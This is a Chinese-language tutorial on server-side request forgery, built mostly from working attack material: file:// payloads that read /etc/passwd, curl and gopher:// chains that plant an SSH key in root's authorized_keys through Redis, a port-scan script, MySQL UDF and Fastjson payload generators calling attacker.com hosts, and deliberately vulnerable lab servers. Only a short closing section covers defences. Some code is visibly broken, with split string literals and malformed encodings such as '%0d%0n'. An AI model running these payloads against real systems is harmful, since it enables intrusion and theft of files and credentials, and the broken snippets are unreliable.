一、SSRF 是什么
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种攻击者让服务器发起非预期网络请求的漏洞。它与 CSRF 的核心区别在于:请求发起方是服务器,而非浏览器,因此能访问浏览器访问不到的内网资源。
1.1 核心成因
一个典型的 SSRF 代码长这样:
# vulnerable.py - Python Flask 示例
from flask import Flask, request
import urllib.request
app = Flask(__name__)
@app.route('/fetch')
def fetch():
url = request.args.get('url')
# 直接用用户可控的 URL 发起服务端请求
resp = urllib.request.urlopen(url)
return resp.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
开发者本意是让用户"抓取一个网页",但没有限制协议和目标地址,攻击者就可以构造任意 URL。
1.2 常见触发点
| 功能 | 代码特征 | 危险函数 |
|---|---|---|
| 图片下载/转存 | 传入图片 URL | curl、file_get_contents、requests.get |
| 网页预览/截图 | 渲染指定链接 | puppeteer、wkhtmltoimage |
| RSS/订阅源 | 读取用户填写的 feed | simplexml_load_file |
| 远程资源导入 | 导入外部配置 | include、import、require |
| 回调接口 | 接收用户指定的回调 URL | - |
二、file:// 协议:读取本地文件
2.1 原理
file:// 协议让服务器把目标当作本地文件系统路径来读取。典型 payload:
file:///etc/passwd
file:///etc/hosts
file:///proc/self/environ
file:///var/www/html/config.php
file:///C:/Windows/win.ini
file:///Windows/System32/drivers/etc/hosts
2.2 PHP 场景实测
<?php
// 漏洞点
$url = $_GET['url'];
echo file_get_contents($url);
?>
请求 payload:
http://127.0.0.1:8080/ssrf.php?url=file:///etc/passwd
返回:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
2.3 Java 场景实测
// 漏洞代码
String url = request.getParameter("url");
URL u = new URL(url);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
InputStream in = conn.getInputStream();
// 注意:openConnection 不检查协议,file:// 也能成功
注意 Java 的 HttpURLConnection 会自动跟随 302 重定向,这个特性在其他场景还能组合使用。
2.4 注意事项
- file:// 后必须有 三个斜杠:
file:///etc/passwd - 某些环境 file:// 被禁用,需要通过 gopher://file:// 或 302 重定向绕过
- 新版 curl(7.68+)在 HTTP 重定向到 file:// 时会自动拒绝
2.5 通过 file:// 读取 PHP 文件源码
直接请求 file:///var/www/html/config.php 返回的是解析后的空结果,不是源码。需要用 PHP 伪协议 配合:
file:///var/www/html/config.php # 不行,PHP 会被执行
php://filter/convert.base64-encode/resource=/var/www/html/config.php # 可以
这是 SSRF + LFI 组合拳,后面章节详述。
三、dict:// 协议:探测内网端口与服务
3.1 原理
dict:// 协议让服务器向目标端口发送原始 TCP 数据并返回响应,非常适合端口扫描和未授权访问。
3.2 典型 payload
dict://127.0.0.1:6379/info # Redis 未授权
dict://127.0.0.1:3306/ # MySQL 指纹
dict://127.0.0.1:6379/SET%20pwn%20"hello" # 写入 Redis
dict://attacker.com:6379/flushall # 外带 DNS 探测
dict://127.0.0.1:22/ # SSH banner
3.3 实战示例:Redis 未授权写文件
# SSRF payload
# 目标:把 SSH 公钥写进 /root/.ssh/authorized_keys
# 步骤 1:写公钥到 Redis 根目录
curl "http://vuln.com/fetch?url=dict://127.0.0.1:6379/set%20payload%20%22%5c%5n%5c%5nssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQ...%5c%5n%5c%5n%22"
# 步骤 2:配置 dir 和 dbfilename
curl "http://vuln.com/fetch?url=dict://127.0.0.1:6379/config%20set%20dir%20/root/.ssh"
curl "http://vuln.com/fetch?url=dict://127.0.0.1:6379/config%20set%20dbfilename%20authorized_keys"
# 步骤 3:触发保存
curl "http://vuln.com/fetch?url=dict://127.0.0.1:6379/save"
3.4 dict:// 协议的局限
- 默认会在请求后自动加
\r\n - 只支持简单的"请求-响应"模式,复杂交互(如 TLS)不适用
- 部分语言/库的 dict:// 实现有差异,需要测试
3.5 端口扫描脚本
# ssrf_portscan.py
import requests
import sys
TARGET = "http://vuln.com/fetch?url="
PORTS = [21, 22, 23, 25, 80, 110, 143, 3306, 5432, 6379, 8080, 8443, 9200, 27017]
def check_port(ip, port):
url = f"{TARGET}dict://{ip}:{port}/"
try:
r = requests.get(url, timeout=5)
if r.status_code == 200 and len(r.text) > 0:
print(f" [+] {ip}:{port} OPEN - response length {len(r.text)}")
return True
elif "Connection refused" in r.text:
print(f" [-] {ip}:{port} closed")
elif "Timeout" in r.text:
print(f" [?] {ip}:{port} filtered")
except requests.exceptions.Timeout:
print(f" [?] {ip}:{port} filtered (timeout)")
except Exception as e:
print(f" [!] {ip}:{port} error: {e}")
return False
if __name__ == '__main__':
ip = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
for p in PORTS:
check_port(ip, p)
四、gopher:// 协议:内网攻击的瑞士军刀
4.1 原理
gopher:// 协议是 SSRF 攻击中最强大也最危险的协议。它可以向目标服务器发送任意字节序列,包括复杂的多命令交互、二进制协议数据、POST 请求体等。
gopher 的 URL 编码规则:
gopher://目标IP:端口/_payload
其中:
_后面是要发送的原始数据%0d%0a是 CR+LF(
),大多数协议用它做分隔- 空格编码为
%20,斜杠编码为%2f,冒号编码为%3a
4.2 Redis 批量命令执行
这是 gopher:// 最经典的 payload,一条 URL 完成所有操作:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$6%0d%0apayload%0d%0a$300%0d%0a%0d%0n%0d%0nssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAAB...%0d%0n%0d%0n%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$9%0d%0a/root/.ssh%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a
这段看不懂?没关系,用 Python 自动生成:
# gopher_helper.py - Redis payload 自动生成
def gen_redis_gopher(ip, port, payload_content, path, filename):
cmds = [
f"SET payload "
{payload_content}
"",
f"CONFIG SET dir {path}",
f"CONFIG SET dbfilename {filename}",
"SAVE",
]
raw = "
".join(cmds) + "
"
return "gopher://{}:{}/_{}".format(
ip, port,
raw.replace("
", "%0d%0a").replace(" ", "%20").replace("/", "%2f").replace(":", "%3a")
)
# 使用示例
key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... attacker@evil"
url = gen_redis_gopher("127.0.0.1", 6379, key, "/root/.ssh", "authorized_keys")
print(url)
4.3 gopher:// 攻击 MySQL
# gopher_mysql.py - MySQL UDF 写文件
def gen_mysql_udf(ip, port, dll_path, cmd):
# 发送 MySQL 协议的 4.1 认证包
# 实际中需要先抓包分析,这里给出原理示例
auth_pkt = (
"\x0a\x35\x2e\x37\x2e\x33\x36\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
)
sql = (
f"SELECT * FROM mysql.func WHERE name='sys_exec';"
f"CREATE FUNCTION sys_exec RETURNS STRING SONAME '{dll_path}';"
f"SELECT sys_exec('{cmd}');"
)
import urllib.parse
raw = auth_pkt + sql
return "gopher://{}:{}/_{}".format(ip, port, urllib.parse.quote(raw, safe=''))
4.4 gopher:// 发送完整 HTTP POST
这被称为 gopher + HTTP POST 技术,常用于攻击内网的 HTTP 服务(如 Fastjson、Druid、SpringBoot Actuator 等):
gopher://127.0.0.1:8080/_POST%20/api/rpc%20HTTP/1.1%0d%0aHost:%20127.0.0.1:8080%0d%0aContent-Type:%20application/json%0d%0aContent-Length:%20123%0d%0aConnection:%20close%0d%0a%0d%0a{"@type":"java.lang.AutoCloseable"}
4.5 自动构造 HTTP gopher
# gopher_http.py
import urllib.parse
def build_gopher_http(host, port, path, method="GET", headers=None, body=""):
headers = headers or {}
body_len = len(body.encode())
headers.setdefault("Host", f"{host}:{port}")
if body:
headers.setdefault("Content-Length", str(body_len))
headers.setdefault("Connection", "close")
lines = [f"{method} {path} HTTP/1.1"]
for k, v in headers.items():
lines.append(f"{k}: {v}")
lines.append("")
lines.append(body)
raw = "
".join(lines)
encoded = urllib.parse.quote(raw, safe='')
return f"gopher://{host}:{port}/_{encoded}"
# 攻击内网 Fastjson 示例
poc = '{"a":{"@type":"java.net.Inet4Address","val":"dnslog.attacker.com"}}'
print(build_gopher_http(
"127.0.0.1", 8080, "/Fastjson",
method="POST",
headers={"Content-Type": "application/json"},
body=poc,
))
五、curl 各协议支持矩阵
不是所有 SSRF 都能使用全部协议,取决于底层 HTTP 库:
| 协议 | curl | PHP cURL | PHP file_get_contents | Java URL | Python requests | Go net/http |
|---|---|---|---|---|---|---|
| http | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| https | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| file | ✓ | ✓ | ✓ | ✓ | ✗ | ✗ |
| dict | ✓ | ✗ | ✗ | ✗ | ✗ | ✗ |
| gopher | ✓ | ✗ | ✗ | ✗ | ✗ | ✗ |
| ftp | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
这意味着:
- PHP file_get_contents 虽然用了 URL 包装器,但不支持 gopher/dict
- Python requests 默认不支持 file://,可通过
pip install requests-file扩展 - curl 是协议最全的,但新版 curl(7.68+)限制了重定向到 file://
六、跨协议重定向组合拳
很多场景单一协议被禁用,需要协议链组合:
6.1 HTTP -> gopher(302 重定向)
# Flask 靶场:开放 gopher 协议的 302 转发
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/open')
def open_gopher():
# 攻击者控制的 302 中转
return redirect("gopher://127.0.0.1:6379/_PING", code=302)
6.2 HTTP -> file(curl --location)
# 靶场 curl 跟随重定向到 file://
import subprocess, urllib.parse
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/jump')
def jump():
return redirect("file:///etc/passwd")
@app.route('/fetch')
def fetch():
url = request.args.get('url')
out = subprocess.check_output(['curl', '-s', '-L', url])
return out
攻击链:fetch -> jump -> 302 到 file:// -> curl -L 跟随 -> 读取文件
6.3 协议链组合总结
| 前置条件 | 技术 | 利用链 |
|---|---|---|
| 目标仅允许 http/https,curl 跟随重定向 | HTTP -> file 302 | /fetch?url=http://attacker.com/302tofile |
| 目标用 Java HttpURLConnection(302 自动跟随) | HTTP -> gopher 302 | Java 自动 follow 到 gopher |
| 目标禁用了 gopher 但有反射 SSRF | URL 解析差异 | http://127.0.0.1&gopher://evil.com/_ |
| 所有单行协议都禁了 | DNS Rebinding | 绕过 IP 白名单 |
七、靶场搭建:Node.js 多协议 SSRF
// vuln-ssrf.js
const express = require('express');
const http = require('http');
const https = require('https');
const dns = require('dns');
const fs = require('fs');
const url = require('url');
const { execSync } = require('child_process');
const app = express();
// 支持 gopher:// 的自定义 agent
class GopherAgent extends http.Agent {
addRequest(req, options) {
const u = url.parse(options.href);
const raw = decodeURIComponent(u.pathname.slice(1)); // 去掉开头 /
const sock = require('net').connect(u.port || 80, u.hostname, () => {
sock.write(raw);
sock.pipe(req.socket);
});
}
}
const gopherAgent = new GopherAgent();
function req(target, protocol) {
return new Promise((resolve, reject) => {
try {
const u = url.parse(target);
switch (protocol) {
case 'file':
fs.readFile(u.path, (e, d) => e ? reject(e) : resolve(d.toString()));
break;
case 'dict':
case 'gopher': {
const { spawn } = require('child_process');
const curl = spawn('curl', ['-s', '-G', '--path-as-is', target, '--max-time', '5']);
let out = '';
curl.stdout.on('data', d => out += d);
curl.on('close', () => resolve(out));
curl.on('error', reject);
break;
}
case 'http':
case 'https': {
const mod = protocol === 'https' ? https : http;
mod.get(target, res => {
let data = '';
res.on('data', c => data += c);
res.on('end', () => resolve(data));
}).on('error', reject);
break;
}
default:
reject(new Error('unsupported protocol: ' + protocol));
}
} catch (e) { reject(e); }
});
}
app.get('/ssrf', async (req, res) => {
const u = req.query.url;
if (!u) return res.send('need url');
const protocol = (u.match(/^([a-zA-Z]+):/) || [])[1] || 'http';
try {
const body = await req(u, protocol.toLowerCase());
res.type('text/plain').send(body);
} catch (e) {
res.status(500).send('ERROR: ' + e.message);
}
});
app.listen(3000, () => console.log('Vuln SSRF on :3000'));
八、防御方案
8.1 协议白名单
ALLOWED_SCHEMES = {'http', 'https'}
def safe_fetch(url):
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError(f"blocked scheme: {parsed.scheme}")
if not parsed.hostname:
raise ValueError("missing hostname")
# 还要防 DNS Rebinding(见后续章节)
return requests.get(url, timeout=10)
8.2 IP 黑名单 + DNS Rebinding 防护
import ipaddress
import socket
BLOCKED_NETWORKS = [
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('0.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16'),
ipaddress.ip_network('::1/128'),
ipaddress.ip_network('fc00::/7'),
ipaddress.ip_network('fe80::/10'),
]
def is_private_ip(ip_str):
try:
ip = ipaddress.ip_address(ip_str)
except ValueError:
return True
return any(ip in net for net in BLOCKED_NETWORKS)
def safe_resolve(hostname):
# 解析并二次校验防 DNS Rebinding
ips = socket.getaddrinfo(hostname, None)
for _, _, _, _, sockaddr in ips:
if is_private_ip(sockaddr[0]):
raise ValueError(f"private ip blocked: {sockaddr[0]}")
return ips
8.3 统一代理出口
把所有外发请求通过独立的 HTTP 代理出去:
import os
os.environ['HTTP_PROXY'] = 'http://proxy.internal:3128'
os.environ['HTTPS_PROXY'] = 'http://proxy.internal:3128'
# 代理层统一做协议过滤 + IP 检查 + 审计日志
九、小结
| 协议 | 能力 | 适用场景 | 局限 |
|---|---|---|---|
| file:// | 读本地文件 | 配置泄露、代码泄露 | 仅读,不支持 PHP 源码 |
| dict:// | 原始 TCP 单请求 | Redis/MySQL 未授权、端口扫描 | 简单请求-响应 |
| gopher:// | 原始 TCP 任意字节 | 复杂协议交互、HTTP POST | 多数语言默认不支持 |
核心思路: 利用任何可用协议先做外网探测(DNS Log、HTTP OOB)拿到回连,再升级到内网深度利用。三种协议经常组合使用,实战中 gopher + HTTP POST 是当前主流攻击手段。